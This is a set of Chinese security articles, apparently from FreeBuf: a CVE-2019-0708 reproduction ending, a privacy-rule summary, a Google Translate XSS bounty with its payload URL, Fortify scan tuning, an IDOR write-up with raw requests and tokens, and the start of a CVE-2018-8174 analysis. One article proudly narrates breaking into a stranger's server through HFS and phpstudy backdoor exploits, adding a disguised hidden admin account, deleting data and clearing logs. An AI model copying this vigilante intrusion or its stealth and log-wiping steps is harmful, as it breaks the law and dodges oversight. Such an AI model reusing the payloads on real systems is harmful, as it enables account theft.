可以看到在靶机上即便扫描项包含了磁盘与系统进程,但并没有发现正在连接中的exp会话。

在以上三次实验中仍然试过相同条件下靶机蓝屏的情况,所以有可能测试的结论有失偏颇,还望指正

总结与假设

以上就是此次复现cve-2019-0708的过程整理,而过程中所出现的问题与解决方法并不一定具备普遍性,而后续测试因为在过程中也试过相同条件下仍然会出现蓝屏现象,故以上内容仅代表我个人观点,而且对于计算机及内核相关内容我的了解也并不是非常全面,仅限于在一边复现一边学习的过程中所学习与理解的内容,带有一定的个人推理,所以可能存在诸多理论上的漏洞或是本质上的错误,故本篇主要用作个人归档与总结报告用途,如果遇到相关问题善用搜索引擎是最大的帮助。

在本次的复现里总算解决了第一次复现时的失败,也从中更深入的了解了该漏洞所影响面之广与带来危害之深,即便该漏洞有着较为严苛的利用条件,但相信在披露的时候仍然会对很多企业与个人带来威胁,而通过后续的测试也发现了安全防护是能够在一定程度上对攻击进行防范的,所以用户在使用过程中适当的根据自己使用习惯来选择防护措施防患于未然也是很重要的一点。

但在这里我也有相关的疑惑,因为在了解过程中通过windows的结构框架了解到系统的启动具有层面上的先后顺序,而该漏洞的利用是对于底层内核在释放内存时Double free的利用,达到欺骗系统修改内存的目的,且该漏洞也具有将靶机打至蓝屏的特性,而系统在蓝屏后大多数都会释放内存重新启动,而系统重启时,windows自启服务是在登录阶段进行启动的,而这一阶段是后于内核加载阶段,假设此处我对于该漏洞浅显的理解没有错误,且该漏洞的攻击也假设可以在启动系统启动项前作用于该系统,那是否可以通过漏洞的二次攻击,先将靶机系统蓝屏重启,在重启的过程中利用内核加载阶段过渡到登录阶段的这一间隙再次运行攻击程序来完成攻击。

而对于这一假设目前最明显的问题就是网络的连通性,网络服务也属于系统的自启项之一,所以当在未联网的系统开机过程中如何实施攻击就是问题,当然这还有很多的问题包含在里面,而这也仅仅是我的一个假设,但能通过这次复现的过程学习到这么多东西也是一次宝贵的过程,也发现了漏洞复现对于学习也有很大的帮助,可以更深入的了解和探知漏洞背后的规律和原理,即便不能完全理解吃透,这也是一次实践的经历。

*本文原创作者:XXL0sir,本文属于FreeBuf原创奖励计划,未经许可禁止转载

1月8日,工业和信息化部信息通信管理局通报第二批侵害用户权益行为的App名单,15款产品在列。

第一批未按要求完成整改的3家企业,已于1月3日依法组织下架。 

这里面大多都为我们熟识的APP,看到这些不由得胆战心惊,瑞幸也算我们经常点的下午茶,知米也是我们常用来备考的单词软件,简直是太大意了。

那么,自网站的信息安全不断整改之后,app安全也慢慢被提上日程。就关于印发《App违法违规收集使用个人信息行为认定方法》的通知进行一个小小的分析。

一、认定方法的发布

2019年12月30日8点,网信网发布了关于印发《App违法违规收集使用个人信息行为认定方法》的通知,由国家互联网信息办公室秘书局、工业和信息化部办公厅、公安部办公厅、国家市场监督管理总局办公厅四大单位联合发布,通知号为国信办秘字[2019] 191号,主要针对APP违法违规收集使用个人信息。 

二、认定方法的缘由

三、内容主要分为六大部分

第一部分

主要是针对隐私政策的,严格要求APP中必须要有隐私政策,且隐私政策中要包含收集使用个人信息规则的条目,在首次运行时必须通过弹窗等明显方式提示用户阅读隐私政策。同时,隐私政策要容易访问,容易阅读,文字大小适中,颜色刚好,像之前看到的苏宁、微信的都是比较好的典范。

第二部分

主要是针对个人信息的目的、方式和范围的。要求必须一一列出这几点,且在发生变化时,要采用更新隐私政策提醒用户阅读等适当的形式通知用户,比如更新之后需要弹出隐私政策让用户确认同意才可继续使用。如果涉及到敏感信息收集需要同步告知用户目的,必须明确、简单直观。不仅如此,收集使用规则的内容也必须简单直观,容易理解,不得使用大量专业术语让用户难以理解。

第三部分

是用户同意收集使用个人信息。这里面有几点比较重要,一点是用户必须明确同意才能够收集,也不得干扰用户和直接收集,第二点是不能超出收集范围,更新或者发生变化时需要用户重新选择更改或者设置权限状态,第三点是隐私政策应该用户主动勾选而不得直接默认同意,不得诱骗误导用户非法收集,或者违反规则收集,同时要提供撤回收集的途径。

第四部分

针对收集个人信息最小化原则,最主要的一点是用户不同意收集非必要个人信息或者打开非必要权限或者一次性打开多个收集权限时,拒绝提供业务功能的,就好比如说,不同意某个APP的位置权限,然后就闪退掉了,这就是违法行为了。而且不得强制要求用户收集个人信息,仅仅因为服务质量用户体验等原因。

第五部分

是关于第三方提供个人信息的,表明要向第三方提供用户个人信息需要经过用户同意,而且要做匿名化处理,不然像很多用户个人信息泄露就是因为这样,一个地方传到另一个地方,同时也不可以直接数据传输到后台供第三方收集。其次,接入第三方应用时,也要明确告知用户,征求同意才可提供个人信息。

第六部分

是针对用户注销删除个人信息和投诉举报两个部分,要求企业必须提供有效的更正、删除个人信息和注销账号的功能,不得设置不必要或不合理条件,提供了同时还要及时响应,需要人工处理的话要规定时限且不得超过。后台要随时保持跟进操作行为。

企业同时要建立和公布个人信息安全投诉和举报渠道,要承诺时限且在规定时限内完成。

这一部办法细化了《网络安全法》关于APP收集个人用户信息的实施,具体落实到这六大方面,无关很多技术要求,但是要求企业和用户必须重视个人信息保护,在APP的攻坚战中取得战胜的号角!

*本文原创作者:咸味奶黄豆沙包,本文属于FreeBuf原创奖励计划,未经许可禁止转载

在这篇文章里,越南籍作者通过发现了谷歌翻译服务(Google Translator)越翻英界面中存在的跨站漏洞(XSS),最后经测试验证,获得了谷歌官方奖励的$3133.70,我们一起来看看。

凌晨发现XSS漏洞

河内,凌晨2点的冬天,大家都进入了梦乡,我还在投入地加班工作,结束时已经是凌晨02:45。临睡前准备放松一下,打算找部电影看看,但记不起电影的准确英文名了,于是打开了谷歌翻译网站translate.google.com,在其中输入了越南语,想把它转换成英语,之后,我突然发现了一些端倪,于是尝试在其中输入了其它验证性Payload,如下图红色部分所示:

我马上按F12进入的Chrome开发者模式进行检查,我发现我输入的Payload已经被成功执行了,如下:

这说明……,谷歌针对HTML标签功能未做完善的过滤和编码规则,所以导致了我能在这里执行XSS。于是我尝试看看谷歌的其它语言翻译界面是否存在该漏洞,但是好像不行,它们都实施了过滤编码,只有这里的越南语(Primary language)翻译为英语(Language after translation)界面存在该漏洞。

为了更好地验证该XSS漏洞,我构造了HTML代码试图让translate.google.com反弹出当前域名和用户Cookie信息,这里比较难的是对字符长度的控制,最后的HTML Payload如下:

<iframe onload=”javascript:prompt(document.domain, document.cookie)” id=”xss” role=”xss”>hello xss

translate.google.com反弹出的提示窗如下:

谷歌会接收这种漏洞吗?

结合上述HTML Payload,最终在浏览器端可执行的URL XSS Payload如下:

https://translate.google.com/?hl=en#view=home&op=translate&sl=vi&tl=en&text=%3Ciframe%20onload=%22javascript:alert(document.domain)%22%20id=%22xss%22%20role=%22xss%22%3Ehello%20xss

运行该URL XSS Payload后,浏览器中其请求的参数为:

& sl = en => Primary language

& tl = en => Language after translation

& text => Paragraphs

所以,常规来说,只要我对其中的XSS Payload做一些相应的编码转换,然后把上述URL发送给受害者,XSS的执行是没问题的。但是,当我把该漏洞提交给谷歌安全团队之后,却被告知这是一个无效漏洞,因为他们认为其中的域名隶属于“沙箱安全域名”(sandbox domains)范畴,所以该漏洞直接被归为了“不需要修复”(Won’t Fix)的类别。

当时我非常沮丧,于是就去查了查谷歌所谓的sandbox domains范围,如下:

这……,上面根本没有translate.google.com啊!谷歌设置所谓的sandbox domains目的在于,针对提供给用户的前端服务中,避免用户植入木马、病毒等恶意程序从而影响到其它谷歌服务,因此实行沙箱隔离的一类域名。这里的translate.google.com就不在谷歌所述的sandbox domain之内,他们绝对是搞错了。

之后,我又向谷歌发送了相关说明,他们接收并提高了该漏洞的威胁级别,还给了我奖励。最后我要感谢漏洞众测社区的网友,他们中的一些人帮我一起验证谷歌搞错了,并给了我鼓励。

漏洞上报及处理进程

14/11/201914:05 — 漏洞初报

14/11/2019 20:29 — 谷歌回应该漏洞归为“不需要修复” 类别

14/11/2019 21:29 — 我提供了更多参考信息

11/15/2019 00:36 — 我向谷歌说明了translate.google.com不在他们所说的沙箱域名之内

21/11/2019 23:23 — 我又向谷歌发送了一个PoC验证视频

11/22/2019 00:12 — 谷歌接收了该漏洞并提高了漏洞级别

11/28, 2019 01:20 — 谷歌奖励了我 $3133.70

23/12/2019 03:47 — 谷歌修复了该漏洞

*参考来源:medium,clouds 编译整理,转载请注明来自 FreeBuf.COM

前言

代码安全扫描是指在不执行代码的情况下对代码进行评估的过程。代码安全扫描工具能够探查大量“if—-then—-”的假想情况,而不必为所有这些假想情况经过必要的计算来执行这些代码。

那么代码安全扫描工具到底应该怎么使用?以下是参考fortify sca的作者给出的使用场景:

常规安全问题(如代码注入类漏洞)这块,目前的fortify sca规则存在较多误报,通过规则优化降低误报。而在特定安全问题上,越来越多的合规要求需要满足(如等保、国信办、银保监要求),自带的扫描规则肯定检测不到这些问题,需要自定义扫描规则,从合规的角度来展示安全风险。

常规安全问题误报优化

目前开发人员反馈最多的问题是:代码安全扫描工具误报较多,我们先看下代码安全安全分析的过程,如下图示:

由于中间编译建模和扫描工具分析的过程是内置在扫描工具里的二进制的可执行程序完成的,我们无法干预,那么只能再在源代码编写、规则定义和扫描结果展示3个地方来操作降低误报,如下将逐项展示:

源代码编写

1. 编码规范

尽量使用fortify官方认可的安全库函数,如ESAPI,使用ESAPI后fortify sca会把漏洞标记为低危,是可以忽略的漏洞类型。以下是对常见漏洞的安全库函数

1).xss

org.owasp.esapi.Encoder/Encoding/Escapefrom

2). 文件路径操纵

org.owasp.esapi.getValidDirectoryPathororg.owasp.esapi.getValidFilename

3). SQL注入

org.owasp.esapi.Encoder.encodeForSQL

org.apache.commons.lang.StringEscapeUtils.escapeSql

4). 命令注入

org.owasp.esapi.Encoder.encodeForOS

2. 使用注解(针对java)

如果我们用过SonarQube,我们会发现有两种修改代码的方式来解决误报。

注释

在被误判的代码行后面加上注释://NOSONAR

String name = user.getName(); //NOSONAR

注解

在类或方法上面加上 @SuppressWarnings 注解

@SuppressWarnings("squid:S1309")

publicclass Example {

    ...

    @SuppressWarnings("all")

    public void example(){

    }

}

squid:S1309即是扫描规则编号

同样的fortify sca也有提供注解的功能,Fortify Java Annotations

比如如下代码:

publicclass User {

public finalstatic String PASSWORD_LABEL = "password";

privateString userId;

privateString userKey;

publicvoid printUserData() {

System.out.println("Fortify[userId=" + userId + ", " + PASSWORD_LABEL + "=" +userKey + "]");

}

}

扫描平台会在publicfinal static String PASSWORD_LABEL = “password”报告PasswordManagement:Hardcoded Password漏洞。

使用后

@FortifyNotPassword

publicfinal static String PASSWORD_LABEL = "password";

@FortifyPassword

private String userKey;

不会再报这样的漏洞

可用的注解如下:

FortifyCheckReturnValue

FortifyCommandInjectionSink

FortifyCommandInjectionValidate

FortifyDangerous

FortifyDatabaseSource

FortifyFileSystemSource

FortifyNetworkSource

FortifyNonNegative

FortifyNonZero

FortifyNotNumberPassthrough

FortifyNotPassword

FortifyNotPrivate

FortifyNumberPassthrough

FortifyPCISink

FortifyPCISource

FortifyPCIValidate

FortifyPassthrough

FortifyPassword

FortifyPrivacySink

FortifyPrivacyValidate

FortifyPrivate

FortifyPrivateSource

FortifySQLSink

FortifySQLValidate

FortifySink

FortifySource

FortifySystemInfoSink

FortifySystemInfoValidate

FortifyValidate

FortifyWebSource

FortifyXSSSink

FortifyXSSValidate

规则定义

Fortify sca主要对中间代码进行了数据流分析、控制流分析、代码结构分析、内容和配置文件分析。

1.新建规则

这里以fortify安装目录下自带的php示例代码(Samples\basic\php)为例:

我们在缺陷代码基础上增加了validate函数去做安全净化处理,fortify sca不能识别这个函数的作用。

在函数上右键点击弹出write rules for this function,我们接下来通过图形界面创建数据流跟踪的净化规则

再次扫描后我们发现fortify sca已经可以识别我们自定义的validate函数

打开规则文件xml我们看到taintflag里已经增加了xss安全验证的flag,只要在数据流跟踪中发现validate函数就不会再误报xss问题。

另外新建规则还可以使用fortify自带的自定义用户规则向导,可以通过图形化方式配置40多种规则类型。当然如果还有更高的规则定制要求,就在向导生成的xml基础上进一步更新吧。

2.覆盖规则

以下演示覆盖一个秘钥硬编码的规则:

还是以fortify安装目录下自带的php示例代码(Samples\basic\php)为例

由于没有加密机和密码托管平台,数据库密码只能明文写在代码或配置文件里,怎么不让fortify重复报出这种问题呢?

写一条新规则覆盖这个id的规则,如下xml:

随便指定一个不会用到的保存秘钥的变量名pasword,覆盖了这条规则

再次扫描发现这个密码硬编码问题已不再提示

3.裁剪规则

Fortify规则是.bin文件,这个是无法直接编辑的,不过可以转成xml,再根据需要裁剪成为customer rules。不过要注意扫描时需要加上–no-default-rules禁用默认规则。

扫描结果展示

1.根据漏洞的可能性和严重性进行分类筛选

我们观察fortify扫描的每一条漏洞,会有如下2个标识,严重性(IMPACT)和可能性(LIKEHOOD),这两个标识的取值是从0.1~5.0,我们可以根据自己的需要筛选展示对应严重性和可能性范围的漏洞,这些漏洞必须修复,其他不严重的或者难以利用的漏洞可以作为中低危漏洞做选择性修复。如果我们的应用是新闻资讯或者体育类应用,那么我们可以把阈值调高,增加漏报率,降低误报率。如果我们的应用是金融理财或交易类应用,那么我们可以把阈值调低,增加误报率,降低漏报率

如果你觉得以上的方法过于粗暴,那么可以再详细看看这个漏洞命中了哪些扫描规则,比如如下规则标识Rule ID,

然后我们在规则文件里查找发现对应Rule ID的3个属性,漏洞准确性accuracy,漏洞严重性IMPACT,漏洞被利用的可能性Probability,取值都是0.1~5.0,我们可以根据需要设置筛选条件,比如仅展示漏洞准确性在4.0以上的漏洞。

那么以上的筛选能不能通过自动化的方式进行呢?当然可以,如果你使用了fortify ssc,那么fortify ssc提供了api接口,可以针对一些你不想要看到的漏洞做屏蔽(suppress)处理。如果你没有使用fortify ssc,那么你只能自己解析fpr文件,更改漏洞审计信息后保存,在github上是有些类似的开源项目可以借鉴的。

2.根据历史的人工漏洞审计信息进行扫描报告合并

如果我们的项目在以前做过fortify sca的扫描,并经过开发人员或安全人员审计,那么历史的审计信息可以沿用,每个漏洞都有一个编号instance ID,已经审计过确认是误报的漏洞是不会重复出现的。报告合并我们可以通过fortify ssc或者fortify sca的命令行或者图形界面操作。

3.利用大数据分析和机器学习做漏洞误报屏蔽

目前这是正在探索的一个方向,但这个方式需要大量可靠的漏洞审计样本,如果样本少的话会很难操作。

安全合规问题规则定制

《互联网个人信息保护指南》里指出重要数据在存储过程中应保密,包括但不限于鉴别数据和个人信息。而我们在实际审查中发现,有的应用为了排查问题方便,在服务器中间件Log里记录了用户的姓名、shenfenzheng号、yinhangka号、手机号等敏感信息。这种问题可以通过自动化代码审查发现,而fortify默认的规则是无法识别shenfenzheng号这种信息的,我们可以新建CharacterizationRule来完成对shenfenzheng标识的识别

1.增加对合规信息的识别

没有自定义规则时,漏掉了对shenfenzheng信息的检测:

写了自定义规则后,漏报问题得以解决:

自定义规则如下:

这样就给shenfenzheng信息加上private的污点标记。这里只是简单演示,详细的规则需要使用正则和语法树分析等。

2.定制漏洞描述和修复建议

我们可以修改每个漏洞详情和修复建议的描述,默认的漏洞详情和漏洞修复建议描述是这样的:

我们可以修改规则,让漏洞详情和修复建议按照我们想要的方式呈现出现。比如漏洞详情里加上这是等保要求、银保监的哪一条要求,一定要修的。

比如修复建议里加上安全组件库的使用推荐,和一些漏洞修复知识库的总结,放在这里比用ppt培训效果要好多了

总结

Fortify sca总体来说一款很强大的代码安全扫描工具,但不可避免的有误报和漏报。我们需要控制误报对开发人员的干扰,同时为了满足合规要求,我们需要定制扫描规则,来完成扫描工具对本地法律法规的适配。

*本文原创作者:随便看看,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

事情起缘

事情起缘于上周的一个无聊的周末,周末总是无聊而又乏味,好基友每周也准时约我吃鸡,可奈何我这个穷逼买!不!起!号!怎么办呢?对!卡盟,随便百度了一个某某卡盟,果然里面各种各样的游戏的账号都有,而且大部分的都是黑号,至于什么是黑号就不多说了(像这种倒卖黑号的也是一条产业链),就随便下了个订单。果不其然,并不是简简单单的直接发账号密码给你,而且还需要你下载所谓的登录器,有些安全意识的朋友都知道陌生可执行的文件千万不要随便去运行。 下载下来后,AV软件不出所料的报红了。

可是我头铁啊,不怂!直接解压添加白名单一气呵成运行软件,运行后我傻眼了,what??软件居然在跟远程服务器做交互。

起初我以为这只是单纯的从远程服务器上下载账号所需的文件而已,大家都知道当steam在新的一台电脑上登陆的时候是要登陆验证的,其实这类的绕过验证的原理也很简单,steam登陆的时候在根目录产生了两个文件类似于cookie,估计是那些盗号者通过不为人知的手段盗取到号者的秘钥文件然后统一到远程服务器,在然后下载到本地替换文件从而到达了绕过验证的操作。 确实,这台服务器只是简单的储存账号的秘钥文件,可是!!可是!!登陆授权软件这个小碧池背着我又偷偷的在后台搞小动作,还好AV软件给我及时的拦了下来,省去了进一步对软件行为的分析。居然!在Windows的目录下生产个shell文件夹,里面还是有一套ms17-010工具,嗯?给你钱了还要搞我一波内网?这谁乐意啊。

信息探测

由于前面已经抓到了该软件跟服务器交互的ip,既然是跟盗号有关的我第一个念头想到的就是威胁情报,直接把该ip丢到了某威胁情报看看能不能找到什么线索,果不其然在五月份的时候就有用户标记出了此IDC服务器是用于steam盗号的,且爆出了疑似该服务器的所有者的一些联系方式。

虽然得到了一些可能跟该服务器有关的一些信息,或许这些信息对后续需要爆破时制作密码表是有一定的帮助的,爆破属于后续且咱们现在还对该服务器一无所知,还不清楚开放了哪些端口提供哪些服务,废话不多说上nmap一顿扫描再说。 Nmap -sV -Pn -O -A 4x.xx.xx.95,得到以下信息,中间件使用的是Apache2.4.39版本,服务器是Windows server 2008 R2,且开放的web端口是90,1433的mssql数据库端口也是对外网开放的(这里我们可以结合上面得到的信息制作密码表对数据库进行爆破)。

上面只是对该服务器的一些端口信息初步的探测,接下来咱们在用nmap自带的漏洞脚本进一步对主机的漏洞进行探测,nmap –script=vuln 4x.xx.xx.95这里是利用nmap脚本对目标主机进行检查是否存在常见的漏洞,且如果存在漏洞nmap也会给出相应的cve编号,然后咱们在利用kali自带的metasploit渗透框架进行对应的cve编号搜索验证利用。很遗憾,这里就探测出了一个有cve编号的漏洞cve-2014-3566,该漏洞是属于ssl3.0的信息泄露漏洞可进行中间人攻击,这里咱们就不深入研究了(实际利用的可能性不大)。

那么接下来就让我们看看该主机所开放的90端口都有什么web服务吧,如果是采用cms套件搭建的网站那对于我们后续进一步的渗透可能会有所帮助,可遗憾的是该主机所能访问的web端口并未建立起任何的服务。难道真的只能通过爆破1433数据库了?爆破成不成功先不说,爆破所花费的时间也是大量的,且直觉告诉我,这台服务器应该只是提供账号秘钥的存储与下载,就不花费太多的精力在上面了。

柳暗花明

正当我一筹莫展的时候,思路又回到了起始点,该授权登录器我还没好好的去分析呢,起初只是通过杀毒软件的拦截简单的进行判断而已,扔进虚拟沙箱跑一遍看看。果然是盗号软件,赤裸裸的按键记录行为。

接下来在看看该盗号软件的执行流程,发现该软件释放出来的子程序还有跟另一台服务器有HTTP交互,且该服务器上的Windows.zip文件正是那套ms17-010的内网扫描工具。

这里直接抓到了有交互的web端口,咱们访问之….看看病毒传播者是用什么容器来搭建的web服务,用的是HttpFileServer v2.3 b 271 随波汉化版,随而网上查阅了相关的资料,发现该版本存在高危远程代码执行漏洞随即进行了验证,由于验证时使用了shutdown -s -t 1导致了服务器关机,后面估计病毒传播者发现自己服务器被搞了就下线了该服务,更多详细的步骤也没能及时截图下来。

(关于HFS的分析可参考安天实验室发布的文章https://www.antiy.com/response/hfs.html)。

拿下权限

服务器关停了一天,不过这样也好至少市面上的软件无法从服务器上下载恶意软件进行传播了,我以为此事到这来就要结束了,可谁曾想网站又重新开起来了,只不过换了另一种搭建服务器。这刺眼的phpinfo.php想都不用想百分之百是用PHPstudy搭建的。

Phpstudy?这让我不禁想到了个把月前爆出的后门事件,也是妥妥的属于高危远程代码执行漏洞啊。至于phpstudy后门事件我这里也不多说了,就简单的说一说所可能存在后门的特性。后门代码存在于\ext\php_xmlrpc.dll模块中的,这里我们可以打开phpinfo.php文件通过浏览器Ctrl+f键快速的搜索查看是否它调用了xmlrpc这个模块。

果然是有调用这个xmlrpc模块的,我估计这个病毒的传播者并不是很关注安全这一块的,前面的hfs早在15年就爆出有远程执行漏洞,现在重新搭建了服务还是有后门的(不禁笑出了声,可见关注安全情报的重要性),接下来就是验证漏洞后门是否可以利用了,咱们先用火狐浏览器对他简单的抓包在重新构造数据包发送看看。因为后门的特性所以需要对构造的恶意代码echo system(‘whoami’);进行besa64编码才可执行成功。

然后发完包后再点击重新发包后的连接查看所有返回的响应页面,果不其然的成功执行了whoami命令已可以确认该phpstudy是存在后门的。

为了能更直观的展现出来也为了方便,咱们用burp来抓包发包,设置好到burp的代理后刷新一遍就可以抓到浏览器的发包了,在然后Ctrl+r发送到burp的Repeatr测试发包,这里试试net user的命令看看都有哪些用户。

命令一样的执行成功了,在systeminfo看看系统的信息……过了许久服务器终于回包了,居然安装了330个补丁包!!!估计是关他服务器时感到了警觉把能打的补丁都打上了吧,可他万万没想到漏洞不是出在系统的。

接下来在netstat -an看看都开了些什么端口,好对下一步进行工作有帮助,果然是控制肉鸡的服务器,大量的ip跟服务器的8000端口有tcp流量。

为了不引起管理员的警惕这里使用net user administrator看看管理员账号上次的登陆时间是多少然后我们在添加自己的账号进去,这里算是个小技巧吧不像第一次验证漏洞的可用性时直接把人家机子给关机了,八点的时候登陆的,现在已经凌晨了,估计管理员已经睡觉了可以放开手去干了。

之前net user的时候有mysql这个账号那么我们就新建个mysq1的账号把L模仿成数字1,或者可以在账号后面加个$用于隐藏账号,这样至少在管理员粗心的情况下新建的账号能存活一段时间。

万事具备只欠连接端口了,尝试了一下默认端口3389发现连接失败,我估计可能是管理员修改了默认端口,没事,上nmap来一波-p 1-65355端口扫描,把所有开放的端口都给它扫出来,可以看到原有的3389被管理员修改成了33890。

开启小飞机代理连接之…….成功拿下病毒代理服务器。

翻了翻资料,目前已经盗取到了1061个吃鸡账号。

盗号的太可恶了,把他的远控马全给下了也把盗到的账号数据也给清空了,最后留张图清日志走人。

*本文原创作者:夜无名,本文属于FreeBuf原创奖励计划,未经许可禁止转载

前一篇关于越权漏洞(IDOR)的分享中,我们谈了一些用户功能处存在的隐患点,今天再来聊聊另一个最近发现的IDOR漏洞,出于保密原因,文中提及的目标网站我们以xyz.com代替,漏洞获得厂商$3,650的奖励。

简单对目标网站xyz.com做个介绍:它是一个在线教育平台,主要提供政治/媒体/历史等方面的培训,其中内置分组聊天功能,几乎全球著名的大学都使用了该平台为在校学生进行辅导教学。在前端应用中,教师(管理者admin)通过创建课程,然后邀请学生(低权限用户)加入课程学习。整个在线教学过程中,将有讨论、作业指导以及课题项目等分类。

首先是,在前端接口服务的讨论分组功能中,存在学生角色可更改的IDOR漏洞,其角色更改请求如下:

PATCH /api/api/v1.0/lesson/26201/student_roles/224410 HTTP/1.1

Host: xyz.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: application/json

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://xyz.com/

Access-Token: [REDUCTED]

Content-Type: application/json; charset=utf-8

Content-Length: 43

Connection: close

Cookie: visid_incap_633468=RCwAKw4IRCegxMVVw4Wx+6

{"student_id":"40990","role_guide_id":"22"}

这里存在两个参数,一个是课程管理员ID(Class admin ID)26201,另一个是学生角色ID(Student Role ID)224410,有点奇怪的是,这个学生角色ID和请求内容中的student_id号40990有关联。所以,如果我们以某个student_id号假设48990为目标,保持课程管理员ID26201不变,通过在一定范围内枚举猜测其学生角色ID(Student Role ID),这样的话我们完全有可能得到其对应的学生角色ID(Student Role ID),最终可实现对该生的课程角色变化,如从课程中删除或添加到其它课程等操作。

之后,我又用此方法发现了另外一个请求中的IDOR漏洞:

PATCH /api/api/v1.0/user_resource/student/[Victim Id 40994] HTTP/1.1

Host: xyz.com

User-Agent: Mozilla/5.0 

Accept: application/json

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://xyz.com

Access-Token: []

Content-Type: application/json; charset=utf-8

Content-Length: 48

Connection: close

Cookie: [Cookie Reducted]

{"first_name":"john","last_name":"wick"}

在该请求中,通过改变学生的ID号Victim Id,结合请求体中的姓和名的内容,我们就能更改Victim Id对应学生的姓名信息,原始请求中只有”first_name”和”last_name”参数,之后,我又尝试增加了一个“email”参数,组成以下请求:

PATCH /api/api/v1.0/user_resource/student/[Victim Id 40994] HTTP/1.1

Host: xyz.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: application/json

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://xyz.com

Access-Token: []

Content-Type: application/json; charset=utf-8

Content-Length: 48

Connection: close

Cookie: [Cookie Reducted]

{"first_name":"baba","last_name":"yaga","email":"[email protected]"}

这一改,服务端响应回来状态码为200,竟然是可以的!所以,同样可用枚举生ID号Victim Id的方式,就能对所有学生信息进行更改了。可以导致:任意学生信息泄露、任意学生信息更改、邮箱更改导致的账户劫持、针对某课程对学生进行任意添加删除、添加成为某课程学员。

其次,在学生作业提交请求中也存在IDOR漏洞,作业提交请求如下:

POST /api/api/v1.0/lesson/26201/assessment_answer HTTP/1.1

Host: xyz.com

Connection: close

Content-Length: 778

Accept: application/json

Origin: https://xyz.com

Access-Token: 9LgDXO27k1-yScnlUuo_gY5AKIG80y0IvTeCxa2KeZQ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36

Content-Type: application/json; charset=UTF-8

Referer: https://xyz.com

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: []

{"title":"Assignment","student":"40994","section_id":"case","completed":false,"lesson":"26201","assignment":"4579","answers":[{"field_answer":"hello","field_question_ref":"4569"},"file_url":"5830"}

在上述请求中可以看到,其file_url为数据型的,通过更改其中的数值就能把其他学生的提交作业变成我的提交作业了,同时还能看到其他学生的作业信息,如下:

HTTP/1.1 200 OK

Accept-Ranges: bytes

Age: 0

Cache-Control: no-cache, must-revalidate

Content-Type: application/json; charset=utf-8

Date: Sun, 12 May 2019 18:01:07 GMT

Expires: Sun, 19 Nov 1978 05:00:00 GMT

Server: Apache/2.2.15 (Red Hat)

Vary: Accept

Via: 1.1 varnish

WebServer: prod1-md

X-API-Version: v1.0

X-Cache: MISS

X-Content-Type-Options: nosniff

X-Drupal-Cache: MISS

X-Powered-By: PHP/7.1.23

X-Varnish: 762262632

Content-Length: 1465

Connection: Close

X-Iinfo: 14-119388817-119389061 NNNN CT(0 0 0) RT(1557684060144 1031) q(0 0 0 -1) r(55 55) U6

X-CDN: Incapsula

{"data":[REDUCTED"file_url":"https:\/\/files.xyz.org\/user_files\/simulation_27244\/MD MEMO_0.docx","REDUCTED}}

在发现以上漏洞后,我及时提交给了厂商,当漏洞修复完成时,我在复测时,又发现了上面这个作业提交请求中还仍然存在IDOR漏洞。修复后的作业提交请求如下:

PATCH /api/api/v1.0/lesson/30699/assessment_answer/30709 HTTP/1.1

Host: xyz.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: application/json

Accept-Language: en-US,en;q=0.5

Referer: https://xyz.org/

Access-Token: HNg-F0wiTIrxDtc1qDQL2TjHv-ERroxmIowIUkM8Blo

Content-Type: application/json; charset=utf-8

Content-Length: 1206

Cookie: [REDUCTED]

{"completed":true,"answers":[{"field_answer":"xyz.burpcollaborator.net","[Reducted]:"xyz.burpcollaborator.net","field_question_ref":"139"}]}

可见,其中确实没有了file_url参数。在BurpSuite中的请求如下:

响应如下:

奇怪的是,响应内容中可以看到一个“file_url”:null名值对,所以,我又尝试在请求中添加进了“file_url”参数值,果然,还是和修复之前一样可以成功响应!所以最后的经验是,要学会从请求的响应中观察那些隐藏的参数。

*参考来源:medium,clouds 编译整理,转载请注明来自 FreeBuf.COM

一、漏洞背景

CVE-2018-8174漏洞是360追日安全团队于4份捕获到的,并将其命名为“双杀”漏洞,意指在IE浏览器以及office均可以引发的漏洞。

该漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。

微软在4月20号也确认了此漏洞,并在5月8号发布了官方补丁。本文档将对该漏洞进行详细分析理解,并提交复现过程与防御建议,供大家相互交流学习。

Microsoft Excel 2010 SP2

Microsoft Excel 2013 SP1

Microsoft Excel 2016 

Microsoft Office 2010 SP2 

Microsoft Office 2013 RT SP1 

Microsoft Office 2013 SP1Microsoft Office 2016 

Microsoft Office Compatibility SP3… 

该漏洞影响比较广泛,可以在该链接查看详细列表: https://www.securityfocus.com/bid/103998

二、 漏洞原理

2.1.UAF的理解

首先了解一个简单的C++层面的悬垂指针:

#include "stdafx.h"
#include <malloc.h>int main()
{
    char *p1;
    p1 = (char*)malloc(sizeof(char) * 10);
    memcpy(p1, "hello", 10);
    printf("p1,addr:%x,%s\n", p1, p1);
    free(p1);

    char *p2;
    p2 = (char*)malloc(sizeof(char) * 10);
    memcpy(p2, "hello", 10);
    printf("p2,addr:%x,%s\n", p2, p1);
    printf("p2,addr:%x,%s\n", p2, p2);
    free(p2);
    return 0;
}

//输出:
//p1,addr:99ac88,hello
//p2,addr:99ac88,hello
//p2,addr:99ac88,hello

在指针p1被释放后,却仍然可以执行已经被释放的内存,而且在 free p1 之后再次申请同样大小空间,操作系统会将刚刚 free 了的内存重新分配。 

并且可以通过p2操作p1,那么如果再次使用p1,则可以通过p2修改程序功能等目的。p1就叫做 悬垂指针UAF会造成内存破坏的原因就是使用了悬垂指针。

理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的,根据原始 PoC 防写一个造成悬垂指针的脚本来理解一下:

<html lang="en">
<head>
